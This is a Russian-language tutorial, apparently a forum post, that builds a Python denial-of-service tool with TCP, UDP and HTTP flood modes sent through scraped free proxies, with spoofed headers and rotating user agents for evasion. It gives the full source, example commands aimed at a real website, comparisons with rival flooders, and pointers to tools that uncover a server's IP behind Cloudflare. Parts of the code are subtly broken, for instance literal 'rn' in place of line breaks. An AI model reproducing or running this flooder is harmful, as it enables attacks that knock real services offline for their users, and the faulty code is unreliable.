Как написать ддос программу python

Пишем самый мощный инструмент для DoS атак [Python]

Что такое DoS атака?

DoS (аббр. англ. Denial of Service «отказ в обслуживании») — хакерская атака на вычислительную систему с целью довести её до отказа, то есть создание таких условий, при которых добросовестные пользователи системы не могут получить доступ к предоставляемым системным ресурсам (серверам), либо этот доступ затруднён. Отказ «вражеской» системы может быть и шагом к овладению системой (если в нештатной ситуации ПО выдаёт какую-либо критическую информацию — например, версию, часть программного кода и т. д.). Но чаще это мера экономического давления: потеря простой службы, приносящей доход, счета от провайдера и меры по уходу от атаки ощутимо бьют «цель» по карману.[1] В настоящее время DoS и DDoS-атаки наиболее популярны, так как позволяют довести до отказа практически любую систему, не оставляя юридически значимых улик.

Сегодня мы с вами напишем самый мощный(по моему мнению) инструмент для DoS атак на Python. Начнем мы с вам с того, что я покажу список библиотек, которые я использовал.

# -*- coding: utf-8 -*-
import urllib.request
import sys
from scapy.all import * #отличная либа
# Импортируем либы
import socket
import socks
import argparse
import threading
import random

Теперь укажем автора программы))

__author__ = "Жмышенко Валерий Альбертович 54 года"

Введем переменные, необходимые для работы программы:

sites = ["https://www.socks-proxy.net/","http://free-proxy-list.net/"] #Сайты откуда берем прокси
useragents = []
##Мощность DoS-а зависит от вашего интернет соеденения!!!
multiple = 70 # Умножение, значение можно менять
threads = 800 # Кол-во потоков, можно менять
choice1 = 0 #Для настройки типа флуда
choice2 = 0 #Для настройки типа флуда
choice3 = 0 #Для настройки типа флуда
port = 80 # Порт куда будут слаться заросы, можно менять

Также хочу отметить, что мощность DoS-а зависит от вашего интернет соединения и качества прокси! Чтобы повысить мощность вы можете менять значение переменных multiple и threads

Добавим в нашу программу аргументы:

##### Добавляем в программу аргументы
parser = argparse.ArgumentParser()
parser.add_argument('-useragent', help = 'Путь до файла с user-агентами')
parser.add_argument('-proxylist', help = 'Путь до файла с proxy')
parser.add_argument('-url', help = 'Цель')
parser.add_argument('-getproxy', help = 'Получить прокси? 1 - да | 0 - нет')
args = parser.parse_args()
useragents_file = args.useragent
needproxy = args.getproxy
url = args.url
proxies_list = args.proxylist
if proxies_list == "": # Если прокси не указана закрыть программу
    print("Укажи прокси!")
    exit()
if useragents_file == "": # Если useragent-ы не указаны закрыть программу
    print("Укажи useragent-ов!")
    exit()
proxies = open(proxies_list).readlines() # Читаем прокси
#####

Пропишем получение useragent-ов с файла:

###### Получение юзер агента с файла
handle = open(useragents_file)
for x in handle:
    useragents.append(x)
useragents = map(lambda s: s.strip(), useragents)
useragents = list(useragents)
######

Напишем функцию, которая будет подгонять введенный пользователем URL под нашу программу:

def checkURL(): #Редактируем URL
    global url
    global url2
    global urlport


    try:
        if url[0]+url[1]+url[2]+url[3] == "www.":
            url = "http://" + url
        elif url[0]+url[1]+url[2]+url[3] == "http":
            pass
        else:
            url = "http://" + url
    except:
        print("Ошибка!")
        exit()

    try:
        url2 = url.replace("http://", "").replace("https://", "").split("/")[0].split(":")[0]
    except:
        url2 = url.replace("http://", "").replace("https://", "").split("/")[0]

    try:
        urlport = url.replace("http://", "").replace("https://", "").split("/")[0].split(":")[1]
    except:
        urlport = "80"

Для работы программы нужны прокси, напишем функцию их получения:

def getPROXY(urlproxy):
    try:
        req = urllib.request.Request(("{0}").format(str(urlproxy)))
        req.add_header("User-Agent", random.choice(useragents))
        sourcecode = urllib.request.urlopen(req)
        part = str(sourcecode.read())
        part = part.split("<tbody>")
        part = part[1].split("</tbody>")
        part = part[0].split("<tr><td>")
        proxies = ""
        for proxy in part:
            proxy = proxy.split("</td><td>") #Получаем прокси с сайта путем разделения тегов
            try:
                proxies=proxies + proxy[0] + ":" + proxy[1] + "n"
            except:
                pass
        handle = open("proxy.txt","a") #Записуем полученные прокси в файл
        handle.write("")
        handle.write(proxies)
        handle.close()
        print ("Прокси скачаны успешно!")
    except:
        print ("Ошибка!")

Пользователь будет указывать, нужно ли качать прокси, поэтому сделаем проверку:

if needproxy == "1": # Нужно ли качать прокси?
    #### Получение проксей
    for x in sites:
        getPROXY(x)
    ####

Теперь давайте напишем функцию, которая будет определять какой тип флуда нужен пользователю(можно это было сделать и через аргументы, но я решил сделать так))) ):

def typeflood(): # Определяем тип флуда
    global choice1 #Для сайтов самый сильный - HTTP
    global choice2
    global choice3

    select = input("UDP или TCP или HTTP? => ")
    if select == "TCP":
        choice1 = "1" # Изначально программа была в интерактивном режиме
        choice2 = "y" # Но я убрал его, оставив лишь выбор метода флуда
        choice3 = "0" # Поэтому переменные называются choice))
    if select == "UDP":
        choice1 = "2"
        choice2 = "y" #Тестить мощь ваше DoS-а или DDoS-а можно здесь: https://www.vedbex.com/tools/dstat
        choice3 = "0"
    if select == "HTTP":
        choice1 = "0"
        choice2 = "y"
        choice3 = "0"

Думаю 3-ех методов достаточно. Пишем функцию, которая будет запускать нужный нам метод флуда:

def loop():
    global threads
    global get_host
    global acceptall
    global connection
    global go
    global x

    if choice1 == "0": # прописуем  заголовки, чтобы не нагружать потоки
        get_host = "GET " + url + " HTTP/1.1rnHost: " + url2 + "rn"
        acceptall = [
        "Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8rnAccept-Language: en-US,en;q=0.5rnAccept-Encoding: gzip, deflatern",
        "Accept-Encoding: gzip, deflatern",
        "Accept-Language: en-US,en;q=0.5rnAccept-Encoding: gzip, deflatern",
        "Accept: text/html, application/xhtml+xml, application/xml;q=0.9, */*;q=0.8rnAccept-Language: en-US,en;q=0.5rnAccept-Charset: iso-8859-1rnAccept-Encoding: gziprn",
        "Accept: application/xml,application/xhtml+xml,text/html;q=0.9, text/plain;q=0.8,image/png,*/*;q=0.5rnAccept-Charset: iso-8859-1rn",
        "Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8rnAccept-Encoding: br;q=1.0, gzip;q=0.8, *;q=0.1rnAccept-Language: utf-8, iso-8859-1;q=0.5, *;q=0.1rnAccept-Charset: utf-8, iso-8859-1;q=0.5rn",
        "Accept: image/jpeg, application/x-ms-application, image/gif, application/xaml+xml, image/pjpeg, application/x-ms-xbap, application/x-shockwave-flash, application/msword, */*rnAccept-Language: en-US,en;q=0.5rn",
        "Accept: text/html, application/xhtml+xml, image/jxr, */*rnAccept-Encoding: gziprnAccept-Charset: utf-8, iso-8859-1;q=0.5rnAccept-Language: utf-8, iso-8859-1;q=0.5, *;q=0.1rn",
        "Accept: text/html, application/xml;q=0.9, application/xhtml+xml, image/png, image/webp, image/jpeg, image/gif, image/x-xbitmap, */*;q=0.1rnAccept-Encoding: gziprnAccept-Language: en-US,en;q=0.5rnAccept-Charset: utf-8, iso-8859-1;q=0.5rn,"
        "Accept: text/html, application/xhtml+xml, application/xml;q=0.9, */*;q=0.8rnAccept-Language: en-US,en;q=0.5rn",
        "Accept-Charset: utf-8, iso-8859-1;q=0.5rnAccept-Language: utf-8, iso-8859-1;q=0.5, *;q=0.1rn",
        "Accept: text/html, application/xhtml+xml",
        "Accept-Language: en-US,en;q=0.5rn",
        "Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8rnAccept-Encoding: br;q=1.0, gzip;q=0.8, *;q=0.1rn",
        "Accept: text/plain;q=0.8,image/png,*/*;q=0.5rnAccept-Charset: iso-8859-1rn",
        ] # заголовок Accept передается случайным образом, чтобы запросы казались легитимными
        connection = "Connection: Keep-Alivern" #
    x = 0 # для счета
    go = threading.Event()
    if choice1 == "1": # Выбираем TCP флуд
        if choice2 == "y":
            if choice3 == "0":
                for x in range(threads):
                    TcpFloodProxed(x+1).start() # запуск класса
                    print ("Поток " + str(x) + " готов!")
                go.set() # Запуск потоков, как только они все будут готовы
    else: # Выбираем UDP флуд
        if choice1 == "2":
            if choice2 == "y":
                if choice3 == "0":
                    for x in range(threads):
                        UdpFloodProxed(x+1).start() # запуск класса
                        print ("Поток " + str(x) + " готов!")
                    go.set() # Запуск потоков, как только они все будут готовы
        else: # Выбираем HTTP флуд
            if choice2 == "y":
                if choice3 == "0":
                    for x in range(threads):
                        RequestProxyHTTP(x+1).start() # запуск класса
                        print ("Поток " + str(x) + " готов!")
                    go.set() # Запуск потоков, как только они все будут готовы

Сейчас начинается самое интересное, пишем сами методы флуда. Решил использовать классы:

class TcpFloodProxed(threading.Thread): # класс многопоточности

    def __init__(self, counter): # функция вызывается практически только на счетчик потоков. Параметр счетчика функции, передает x + 1 выше в качестве счетной переменной
        threading.Thread.__init__(self)
        self.counter = counter

    def run(self): # функция, которая дает инструкции для  потоков
        data = random._urandom(1024) # рандомная дата для пакета
        p = bytes(IP(dst=str(url2))/TCP(sport=RandShort(), dport=int(port))/data) # построение пакета tcp + data
        current = x # текущий поток
        if current < len(proxies): # если  поток может  связаться с прокси, этот прокси используется
            proxy = proxies[current].strip().split(':')
        else: # в противном случае выбирается другое прокси
            proxy = random.choice(proxies).strip().split(":")
        go.wait() # ожидание, пока все прокси будут готовы
        while True:
            try:
                socks.setdefaultproxy(socks.PROXY_TYPE_HTTP, str(proxy[0]), int(proxy[1]), True) # команда для HTTP-проксирования
                s = socks.socksocket() # создание сокета
                s.connect((str(url2),int(port))) # подключение
                s.send(p) # отправка
                print ("Запрос отправлен с " + str(proxy[0]+":"+proxy[1]) + " =>", self.counter) # вывод req + counter
                try: # отправлять другие запросы в этом же потоке
                    for y in range(multiple): # коэффициент умножения
                        s.send(str.encode(p)) # кодируем запрос в байты
                except: # если что-то пойдет не так, сокет закроется, и цикл снова запустится
                    s.close()

Прописуем UDP флуд:

class UdpFloodProxed(threading.Thread):  # класс многопоточности

    def __init__(self, counter): # функция вызывается практически только на счетчик потоков. Параметр счетчика функции, передает x + 1 выше в качестве счетной переменной
        threading.Thread.__init__(self)
        self.counter = counter

    def run(self): # функция, которая дает инструкции для  потоков
        data = random._urandom(1024) # рандомная дата для пакета
        p = bytes(IP(dst=str(url2))/UDP(dport=int(port))/data)  # построение пакета udp (классика)
        current = x # текущий поток
        if current < len(proxies): # если  поток может  связаться с прокси, этот прокси используется
            proxy = proxies[current].strip().split(':')
        else: # в противном случае выбирается другое прокси
            proxy = random.choice(proxies).strip().split(":")
        go.wait() # ожидание, пока все прокси будут готовы
        while True:
            try:
                socks.setdefaultproxy(socks.PROXY_TYPE_HTTP, str(proxy[0]), int(proxy[1]), True) # команда для HTTP-проксирования
                s = socks.socksocket() # создание сокета
                s.connect((str(url2),int(port))) # подключение
                s.send(p) # отправка
                print ("Запрос отправлен с " + str(proxy[0]+":"+proxy[1]) + " =>", self.counter) # вывод req + counter
                try: # отправлять другие запросы в этом же потоке
                    for y in range(multiple): # коэффициент умножения
                        s.send(str.encode(p)) # кодируем запрос в байты
                except: # если что-то пойдет не так, сокет закроется, и цикл снова запустится
                    s.close()
            except:
                s.close() # если что-то пойдет не так, закрыть поток и начать заново

Пишем HTTP флуд:

class RequestProxyHTTP(threading.Thread): # класс многопоточности

    def __init__(self, counter): # функция вызывается практически только на счетчик потоков. Параметр счетчика функции, передает x + 1 выше в качестве счетной переменной
        threading.Thread.__init__(self)
        self.counter = counter

    def run(self): # функция, которая дает инструкции для  потоков
        useragent = "User-Agent: " + random.choice(useragents) + "rn" # выбор рандомного useragent-а
        accept = random.choice(acceptall) # выбор рандомного заголовка "Accept"
        randomip = str(random.randint(0,255)) + "." + str(random.randint(0,255)) + "." + str(random.randint(0,255)) + "." + str(random.randint(0,255))
        forward = "X-Forwarded-For: " + randomip + "rn" # X-Forwarded-For добавляем заголовок, который повысит нам анонимность
        request = get_host + useragent + accept + forward + connection + "rn" # создаем конечный запрос
        current = x # текущий поток
        if current < len(proxies): # если  поток может  связаться с прокси, этот прокси используется
            proxy = proxies[current].strip().split(':')
        else:  # в противном случае выбирается другое прокси
            proxy = random.choice(proxies).strip().split(":")
        go.wait() # ожидание, пока все прокси будут готовы
        while True: # бесконечный цикл
            try:
                s = socket.socket(socket.AF_INET, socket.SOCK_STREAM) # создаем сокет
                s.connect((str(proxy[0]), int(proxy[1]))) # коннектимся к прокси
                s.send(str.encode(request)) # кодируем запрос в байты
                print ("Запрос отправлен с " + str(proxy[0]+":"+proxy[1]) + " =>", self.counter) # вывод req + counter
                try: # отправлять другие запросы в этом же потоке
                    for y in range(multiple): # коэффициент умножения
                        s.send(str.encode(request)) # кодируем запрос в байты
                except: # если что-то пойдет не так, сокет закроется, и цикл снова запустится
                    s.close()
            except:
                s.close() # если что-то пойдет не так, закрыть поток и начать заново

Теперь добавим проверку, как запущена программа:

if __name__ == '__main__': # Если программа запущена как самостоятельная, то запускаем эти функции
    checkURL()
    typeflood()
    loop()

Программа работает как на windows так и на linux. Для работы нужен python3 и установить библиотеки (pip install имя библиотеки).

Получить справку: python main.py -h

Пример запуска: python main.py -useragent useragents.txt -proxylist proxy.txt -url codeby.net

Получить прокси: python main.py -useragent useragents.txt -getproxy 1

Давайте протестируем мощность конкурентов моей программы:

Начнем с xerxes

https://github.com/zanyarjamal/xerxes

Результат:

Как видим пиковая 30+ запросов, но далее запросы упали почти до 0.

Далее у нас идет wreckuests

JamesJGoodwin/wreckuests

Результат:

Пиковая 20+ запросов, далее запросы упали около 1-3.

Теперь протестируем созданный нами инструмент:

Это был HTTP метод. Пиковая 120+ (иногда выдает 200 и выше, у вас может быть больше, если хороший интернет!), также запросы до 0 не падают))))

UDP метод:

TCP метод:

Теперь подгоню пару ништяков. Все мы знаем что есть защиты от DoS-а или DDoS-а, например cloudflare.

Например сайт codeby.net имеет IP, но выдается нам IP cloudflare т.е он под защитой, но мы можем с помощью некоторых методов получить настоящий IP сервера и тогда наш DoS будет работать лучше)))

Обход cloudflare:

https://github.com/m0rtem/CloudFail
https://github.com/HatBashBR/HatCloud
Или через shodan ищем IP сервера

Исходник:

# -*- coding: utf-8 -*-
import urllib.request
import sys
from scapy.all import *
# Импортируем либы
import socket
import socks
import argparse
import threading
import random
import time


__author__ = "Жмышенко Валерий Альбертович 54 года"
sites = ["https://www.socks-proxy.net/","http://free-proxy-list.net/"] #Сайты откуда берем прокси
useragents = []
##Мощность DoS-а зависит от вашего интернет соеденения!!!
multiple = 70 # Умножение, значение можно менять
threads = 800 # Кол-во потоков, можно менять
choice1 = 0 #Для настройки типа флуда
choice2 = 0 #Для настройки типа флуда
choice3 = 0 #Для настройки типа флуда
port = 80 # Порт куда будут слаться запросы, можно менять

##### Добавляем в программу аргументы
parser = argparse.ArgumentParser()
parser.add_argument('-useragent', help = 'Путь до файла с user-агентами')
parser.add_argument('-proxylist', help = 'Путь до файла с proxy')
parser.add_argument('-url', help = 'Цель')
parser.add_argument('-getproxy', help = 'Получить прокси? 1 - да | 0 - нет')
args = parser.parse_args()
useragents_file = args.useragent
needproxy = args.getproxy
url = args.url
proxies_list = args.proxylist

###### Получение юзер агента с файла
handle = open(useragents_file)
for x in handle:
    useragents.append(x)
useragents = map(lambda s: s.strip(), useragents)
useragents = list(useragents)
######

def getPROXY(urlproxy):
    try:
        req = urllib.request.Request(("{0}").format(str(urlproxy)))
        req.add_header("User-Agent", random.choice(useragents))
        sourcecode = urllib.request.urlopen(req)
        part = str(sourcecode.read())
        part = part.split("<tbody>")
        part = part[1].split("</tbody>")
        part = part[0].split("<tr><td>")
        proxies = ""
        for proxy in part:
            proxy = proxy.split("</td><td>") #Получаем прокси с сайта путем разделения тегов
            try:
                proxies=proxies + proxy[0] + ":" + proxy[1] + "n"
            except:
                pass
        handle = open("proxy.txt","a") #Записуем полученные прокси в файл
        handle.write("")
        handle.write(proxies)
        handle.close()
        print ("Прокси скачаны успешно!")
    except:
        print ("Ошибка!")

if needproxy == "1": # Нужно ли качать прокси?
    #### Получение проксей
    for x in sites:
        getPROXY(x)
    ####
time.sleep(5)
if proxies_list == "": # Если прокси не указана закрыть программу
    print("Укажи прокси!")
    exit()
if useragents_file == "": # Если useragent-ы не указаны закрыть программу
    print("Укажи useragent-ов!")
    exit()
try:
    proxies = open(proxies_list).readlines() # Читаем прокси
except TypeError:
    print("Прокси с файла не считаны!")
#####




def checkURL(): #Редактируем URL
    global url
    global url2
    global urlport


    try:
        if url[0]+url[1]+url[2]+url[3] == "www.":
            url = "http://" + url
        elif url[0]+url[1]+url[2]+url[3] == "http":
            pass
        else:
            url = "http://" + url
    except:
        print("Ошибка!")
        exit()

    try:
        url2 = url.replace("http://", "").replace("https://", "").split("/")[0].split(":")[0]
    except:
        url2 = url.replace("http://", "").replace("https://", "").split("/")[0]

    try:
        urlport = url.replace("http://", "").replace("https://", "").split("/")[0].split(":")[1]
    except:
        urlport = "80"



def typeflood(): # Определяем тип флуда
    global choice1 #Для сайтов самы сильный - HTTP
    global choice2
    global choice3

    select = input("UDP или TCP или HTTP? => ")
    if select == "TCP":
        choice1 = "1" # Изначально программа была в интерактивном режиме
        choice2 = "y" # Но я убрал его, оставив лишь выбор метода флуда
        choice3 = "0" # Поэтому переменные называются choice))
    if select == "UDP":
        choice1 = "2"
        choice2 = "y" #Тестить мощь ваше DoS-а или DDoS-а можно здесь: https://www.vedbex.com/tools/dstat
        choice3 = "0"
    if select == "HTTP":
        choice1 = "0"
        choice2 = "y"
        choice3 = "0"


def loop():
    global threads
    global get_host
    global acceptall
    global connection
    global go
    global x

    if choice1 == "0": # прописуем  заголовки, чтобы не нагружать потоки
        get_host = "GET " + url + " HTTP/1.1rnHost: " + url2 + "rn"
        acceptall = [
        "Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8rnAccept-Language: en-US,en;q=0.5rnAccept-Encoding: gzip, deflatern",
        "Accept-Encoding: gzip, deflatern",
        "Accept-Language: en-US,en;q=0.5rnAccept-Encoding: gzip, deflatern",
        "Accept: text/html, application/xhtml+xml, application/xml;q=0.9, */*;q=0.8rnAccept-Language: en-US,en;q=0.5rnAccept-Charset: iso-8859-1rnAccept-Encoding: gziprn",
        "Accept: application/xml,application/xhtml+xml,text/html;q=0.9, text/plain;q=0.8,image/png,*/*;q=0.5rnAccept-Charset: iso-8859-1rn",
        "Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8rnAccept-Encoding: br;q=1.0, gzip;q=0.8, *;q=0.1rnAccept-Language: utf-8, iso-8859-1;q=0.5, *;q=0.1rnAccept-Charset: utf-8, iso-8859-1;q=0.5rn",
        "Accept: image/jpeg, application/x-ms-application, image/gif, application/xaml+xml, image/pjpeg, application/x-ms-xbap, application/x-shockwave-flash, application/msword, */*rnAccept-Language: en-US,en;q=0.5rn",
        "Accept: text/html, application/xhtml+xml, image/jxr, */*rnAccept-Encoding: gziprnAccept-Charset: utf-8, iso-8859-1;q=0.5rnAccept-Language: utf-8, iso-8859-1;q=0.5, *;q=0.1rn",
        "Accept: text/html, application/xml;q=0.9, application/xhtml+xml, image/png, image/webp, image/jpeg, image/gif, image/x-xbitmap, */*;q=0.1rnAccept-Encoding: gziprnAccept-Language: en-US,en;q=0.5rnAccept-Charset: utf-8, iso-8859-1;q=0.5rn,"
        "Accept: text/html, application/xhtml+xml, application/xml;q=0.9, */*;q=0.8rnAccept-Language: en-US,en;q=0.5rn",
        "Accept-Charset: utf-8, iso-8859-1;q=0.5rnAccept-Language: utf-8, iso-8859-1;q=0.5, *;q=0.1rn",
        "Accept: text/html, application/xhtml+xml",
        "Accept-Language: en-US,en;q=0.5rn",
        "Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8rnAccept-Encoding: br;q=1.0, gzip;q=0.8, *;q=0.1rn",
        "Accept: text/plain;q=0.8,image/png,*/*;q=0.5rnAccept-Charset: iso-8859-1rn",
        ] # заголовок Accept передается случайным образом, чтобы запросы казались легимитными
        connection = "Connection: Keep-Alivern" #
    x = 0 # для счета
    go = threading.Event()
    if choice1 == "1": # Выбираем TCP флуд
        if choice2 == "y":
            if choice3 == "0":
                for x in range(threads):
                    TcpFloodProxed(x+1).start() # запуск класса
                    print ("Поток " + str(x) + " готов!")
                go.set() # Запуск потоков, как только они все будут готовы
    else: # Выбираем UDP флуд
        if choice1 == "2":
            if choice2 == "y":
                if choice3 == "0":
                    for x in range(threads):
                        UdpFloodProxed(x+1).start() # запуск класса
                        print ("Поток " + str(x) + " готов!")
                    go.set() # Запуск потоков, как только они все будут готовы
        else: # Выбираем HTTP флуд
            if choice2 == "y":
                if choice3 == "0":
                    for x in range(threads):
                        RequestProxyHTTP(x+1).start() # запуск класса
                        print ("Поток " + str(x) + " готов!")
                    go.set() # Запуск потоков, как только они все будут готовы



class TcpFloodProxed(threading.Thread): # класс многопоточности

    def __init__(self, counter): # функция вызывается практически только на счетчик потоков. Параметр счетчика функции, передает x + 1 выше в качестве счетной переменной
        threading.Thread.__init__(self)
        self.counter = counter

    def run(self): # функция, которая дает инструкции для  потоков
        data = random._urandom(1024) # рандомная дата для пакета
        p = bytes(IP(dst=str(url2))/TCP(sport=RandShort(), dport=int(port))/data) # построение пакета tcp + data
        current = x # текущий поток
        if current < len(proxies): # если  поток может  связаться с прокси, этот прокси используется
            proxy = proxies[current].strip().split(':')
        else: # в противном случае выбирается другое прокси
            proxy = random.choice(proxies).strip().split(":")
        go.wait() # ожидание, пока все прокси будут готовы
        while True:
            try:
                socks.setdefaultproxy(socks.PROXY_TYPE_HTTP, str(proxy[0]), int(proxy[1]), True) # команда для HTTP-проксирования
                s = socks.socksocket() # создание сокета
                s.connect((str(url2),int(port))) # подключение
                s.send(p) # отправка
                print ("Запрос отправлен с " + str(proxy[0]+":"+proxy[1]) + " =>", self.counter) # вывод req + counter
                try: # отправлять другие запросы в этом же потоке
                    for y in range(multiple): # коэффициент умножения
                        s.send(str.encode(p)) # кодируем запрос в байты
                except: # если что-то пойдет не так, сокет закроется, и цикл снова запустится
                    s.close()
            except:
                s.close() # если что-то пойдет не так, закрыть поток и начать заного


class UdpFloodProxed(threading.Thread):  # класс многопоточности

    def __init__(self, counter): # функция вызывается практически только на счетчик потоков. Параметр счетчика функции, передает x + 1 выше в качестве счетной переменной
        threading.Thread.__init__(self)
        self.counter = counter

    def run(self): # функция, которая дает инструкции для  потоков
        data = random._urandom(1024) # рандомная дата для пакета
        p = bytes(IP(dst=str(url2))/UDP(dport=int(port))/data)  # построение пакета udp (классика)
        current = x # текущий поток
        if current < len(proxies): # если  поток может  связаться с прокси, этот прокси используется
            proxy = proxies[current].strip().split(':')
        else: # в противном случае выбирается другое прокси
            proxy = random.choice(proxies).strip().split(":")
        go.wait() # ожидание, пока все прокси будут готовы
        while True:
            try:
                socks.setdefaultproxy(socks.PROXY_TYPE_HTTP, str(proxy[0]), int(proxy[1]), True) # команда для HTTP-проксирования
                s = socks.socksocket() # создание сокета
                s.connect((str(url2),int(port))) # подключение
                s.send(p) # отправка
                print ("Запрос отправлен с " + str(proxy[0]+":"+proxy[1]) + " =>", self.counter) # вывод req + counter
                try: # отправлять другие запросы в этом же потоке
                    for y in range(multiple): # коэффициент умножения
                        s.send(str.encode(p)) # кодируем запрос в байты
                except: # если что-то пойдет не так, сокет закроется, и цикл снова запустится
                    s.close()
            except:
                s.close() # если что-то пойдет не так, закрыть поток и начать заного

class RequestProxyHTTP(threading.Thread): # класс многопоточности

    def __init__(self, counter): # функция вызывается практически только на счетчик потоков. Параметр счетчика функции, передает x + 1 выше в качестве счетной переменной
        threading.Thread.__init__(self)
        self.counter = counter

    def run(self): # функция, которая дает инструкции для  потоков
        useragent = "User-Agent: " + random.choice(useragents) + "rn" # выбор рандомного useragent-а
        accept = random.choice(acceptall) # выбор рандомного заголовка "Accept"
        randomip = str(random.randint(0,255)) + "." + str(random.randint(0,255)) + "." + str(random.randint(0,255)) + "." + str(random.randint(0,255))
        forward = "X-Forwarded-For: " + randomip + "rn" # X-Forwarded-For добавляем заголовок, который повысит нам анонимность
        request = get_host + useragent + accept + forward + connection + "rn" # создаем конечный запрос
        current = x # текущий поток
        if current < len(proxies): # если  поток может  связаться с прокси, этот прокси используется
            proxy = proxies[current].strip().split(':')
        else:  # в противном случае выбирается другое прокси
            proxy = random.choice(proxies).strip().split(":")
        go.wait() # ожидание, пока все прокси будут готовы
        while True: # бесконечный цикл
            try:
                s = socket.socket(socket.AF_INET, socket.SOCK_STREAM) # создаем сокет
                s.connect((str(proxy[0]), int(proxy[1]))) # конектимся к прокси
                s.send(str.encode(request)) # кодируем запрос в байты
                print ("Запрос отправлен с " + str(proxy[0]+":"+proxy[1]) + " =>", self.counter) # вывод req + counter
                try: # отправлять другие запросы в этом же потоке
                    for y in range(multiple): # коэффициент умножения
                        s.send(str.encode(request)) # кодируем запрос в байты
                except: # если что-то пойдет не так, сокет закроется, и цикл снова запустится
                    s.close()
            except:
                s.close() # если что-то пойдет не так, закрыть поток и начать заного




if __name__ == '__main__': # Если программа запущена как самостоятельная, то запускаем эти функции
    checkURL()
    typeflood()
    loop()

А на этом все. Спасибо всем кто дочитал до конца!) Источник